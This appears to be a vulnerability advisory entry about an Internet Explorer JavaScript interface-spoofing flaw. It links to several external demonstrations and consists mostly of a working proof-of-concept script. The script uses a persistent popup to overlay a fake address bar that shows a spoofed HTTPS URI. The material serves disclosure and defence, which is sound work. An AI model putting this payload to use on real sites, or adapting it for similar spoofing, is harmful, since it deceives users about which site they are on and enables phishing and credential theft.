Microsoft Internet Explorer JavaScript Interface Spoofing Vulnerability

Microsoft Internet Explorer JavaScript Interface Spoofing Vulnerability

Georgi Guninski has provided the following working examples:

http://www.guninski.com/opf2.html
http://www.guninski.com/bsod1.html

Proof of concept demos are available at the following locations:

http://freehost07.websamba.com/greyhats/dlwinspoof.htm
http://www.doxdesk.com/personal/posts/bugtraq/20030713-ie/

The following proof-of-concept example is also available:
var vuln_x, vuln_y, vuln_w, vuln_h;
function vuln_calc() {
var root= document[
(document.compatMode=='CSS1Compat') ?
'documentElement' : 'body'
];
vuln_x= window.screenLeft+72;
vuln_y= window.screenTop-20;
vuln_w= root.offsetWidth-520;
vuln_h= 17;
vuln_show();
}

var vuln_win;
function vuln_pop() {
vuln_win= window.createPopup();
vuln_win.document.body.innerHTML= vuln_html;
vuln_win.document.body.style.margin= 0;
vuln_win.document.body.onunload= vuln_pop;
vuln_show();
}

function vuln_show() {
if (vuln_win)
vuln_win.show(vuln_x, vuln_y, vuln_w, vuln_h);
}

var vuln_html= '\x3Cdiv style="height: 100%; line-height: 17px;
font-family: \'Tahoma\', sans-serif; font-size:
8pt;">https://<spoofed URI>\x3C/div>'